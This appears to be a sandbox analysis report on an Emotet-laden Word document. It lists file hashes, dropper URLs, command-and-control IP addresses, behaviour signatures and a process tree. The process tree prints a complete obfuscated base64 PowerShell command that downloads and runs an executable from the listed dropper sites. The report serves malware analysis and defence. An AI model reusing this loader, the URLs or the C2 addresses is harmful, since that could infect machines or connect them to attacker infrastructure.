Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    92s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    19/08/2020, 19:28

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_065f7e2a583cd42a8b5daa64f2d1f35a8c67e65f5a5a5e8b0d7300a0882fbd71_2020-08-19__192645._doc.doc
  • Size 192KB
  • Sample200819-e38f169562
  • SHA256 065f7e2a583cd42a8b5daa64f2d1f35a8c67e65f5a5a5e8b0d7300a0882fbd71
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://cabanashuasca.com/sys-cache/qkmAGt/
  • exe.dropper

    http://serviceforlongi.com/wp-admin/1zn0p6648274/
  • exe.dropper

    https://brightmega.com/cache/tAhJ/
  • exe.dropper

    http://cabral.adv.br/css/wsF/
  • exe.dropper

    http://www.duhallow.com/wp-content/yvu1atyip7814/
  • exe.dropper

    http://www.emmashop.sk/sitemap/f00nsf09254466/
  • exe.dropper

    http://flabbergast.dk/blogs/jdu6dq57246773/

Extracted

Family

  • emotet

C2

  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_065f7e2a583cd42a8b5daa64f2d1f35a8c67e65f5a5a5e8b0d7300a0882fbd71_2020-08-19__192645._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:748
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAYABSAEkAYABUAFkAUAByAE8AVABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAnACsAJwAyACcAKwAnACwAIAB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQARwA3AHAAegBrAHQAZgAgAD0AIAAoACcAUAB6ADYAawBjACcAKwAnADAAJwApADsAJABXAGkAMAAxAHgANwBrAD0AKAAnAFoAaQBoAHAAagAzACcAKwAnAHYAJwApADsAJABNAHAAYgB2AGQAdAByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB1AGcAQwBPACcAKwAnAGYAZgBpACcAKwAnAGMAZQAyADAAJwArACcAMQA5ACcAKwAnAHUAZwBDACcAKQAgACAALQBjAHIAZQBwAGwAYQBjAEUAJwB1AGcAQwAnACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEcANwBwAHoAawB0AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAZgB5AHQAbAB2AHYAPQAoACcAVwAwAGgAJwArACcAZAB2ACcAKwAnAHoANwAnACkAOwAkAE0AOABhAGwAegBkAHUAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBuAHQAOwAkAEsAegA3ADAAcwBsAF8APQAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBjAGEAYgAnACsAJwBhAG4AJwArACcAYQBzAGgAdQBhAHMAYwAnACsAJwBhAC4AJwArACcAYwBvAG0ALwBzAHkAJwArACcAcwAtAGMAJwArACcAYQAnACsAJwBjAGgAZQAvAHEAawBtAEEARwB0AC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAZQByACcAKwAnAHYAaQBjAGUAZgBvAHIAbABvAG4AZwBpACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBhAGQAbQBpAG4ALwAnACsAJwAxAHoAbgAwAHAANgA2ACcAKwAnADQAOAAyADcAJwArACcANAAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAJwArACcALwAvAGIAJwArACcAcgBpACcAKwAnAGcAaAB0AG0AZQBnAGEALgBjAG8AbQAvAGMAYQAnACsAJwBjAGgAZQAvAHQAQQBoACcAKwAnAEoALwAqAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwBhAGIAcgBhAGwAJwArACcALgBhAGQAJwArACcAdgAuAGIAcgAvAGMAcwBzAC8AdwBzAEYALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgBkAHUAaAAnACsAJwBhAGwAbAAnACsAJwBvAHcAJwArACcALgBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwAnACsAJwBuACcAKwAnAHQAZQBuAHQALwB5AHYAJwArACcAdQAxAGEAdAAnACsAJwB5ACcAKwAnAGkAcAA3ADgAMQA0AC8AKgBoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AZQBtAG0AJwArACcAYQBzAGgAbwBwAC4AJwArACcAcwBrACcAKwAnAC8AcwBpAHQAZQBtAGEAcAAvAGYAMAAwAG4AJwArACcAcwBmADAAOQAyACcAKwAnADUANAA0ADYANgAvACoAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmAGwAYQAnACsAJwBiAGIAZQByAGcAJwArACcAYQAnACsAJwBzACcAKwAnAHQAJwArACcALgBkACcAKwAnAGsAJwArACcALwBiAGwAJwArACcAbwBnAHMALwBqACcAKwAnAGQAdQA2AGQAcQA1ADcAMgA0ADYAJwArACcANwAnACsAJwA3ADMALwAnACkALgAiAHMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBlAHcAdAA0AGMAeAA9ACgAJwBVADEAJwArACcAMAB6AGUAOQAnACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AbgB3AHcAMgBqAGwAIABpAG4AIAAkAEsAegA3ADAAcwBsAF8AKQB7AHQAcgB5AHsAJABNADgAYQBsAHoAZAB1AC4AIgBkAE8AdwBuAEwAYABvAGEAZABgAEYASQBMAEUAIgAoACQATgBuAHcAdwAyAGoAbAAsACAAJABNAHAAYgB2AGQAdAByACkAOwAkAEEAZgBmAGUAcABwAGIAPQAoACcAUQBuADYAeQAnACsAJwB6AGcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBwAGIAdgBkAHQAcgApAC4AIgBsAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANgAxADgAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABNAHAAYgB2AGQAdAByACkAOwAkAFcAaABmAGcAYgAzAHgAPQAoACcARQAyAHcAdwAnACsAJwA3ACcAKwAnAHMAOQAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYwBxAHQAMgA5ADQAPQAoACcASAA3AHAAaABfACcAKwAnADUAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBqADIAdABrAF8APQAoACcATgAnACsAJwB4AGoAeQAnACsAJwBxAHoAMgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Windows\SysWOW64\KBDKHMR\mferror.exe
        "C:\Windows\SysWOW64\KBDKHMR\mferror.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1984

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/748-9-0x0000000006F50000-0x0000000007150000-memory.dmp
        Download

        memory/748-2-0x0000000008910000-0x0000000008914000-memory.dmp
        Download

        memory/748-10-0x0000000006F50000-0x0000000007150000-memory.dmp
        Download

        memory/748-8-0x0000000006F50000-0x0000000007150000-memory.dmp
        Download

        memory/748-5-0x000000000AD10000-0x000000000AD14000-memory.dmp
        Download

        memory/748-22-0x00000000007E0000-0x00000000007E1000-memory.dmp
        Download

        memory/748-6-0x000000000BD90000-0x000000000BD94000-memory.dmp
        Download

        memory/748-7-0x0000000006F50000-0x0000000007150000-memory.dmp
        Download

        memory/1524-26-0x000007FEF1B80000-0x000007FEF1DFA000-memory.dmp
        Download

        memory/1588-20-0x00000000003F0000-0x00000000003FC000-memory.dmp
        Download

        memory/1908-12-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1908-17-0x000000001C4F0000-0x000000001C4F1000-memory.dmp
        Download

        memory/1908-16-0x00000000028E0000-0x00000000028E1000-memory.dmp
        Download

        memory/1908-15-0x00000000026D0000-0x00000000026D1000-memory.dmp
        Download

        memory/1908-14-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/1908-13-0x000000001AD20000-0x000000001AD21000-memory.dmp
        Download

        memory/1908-11-0x000007FEEA120000-0x000007FEEAB0C000-memory.dmp
        Download

        memory/1984-25-0x0000000000320000-0x000000000032C000-memory.dmp
        Download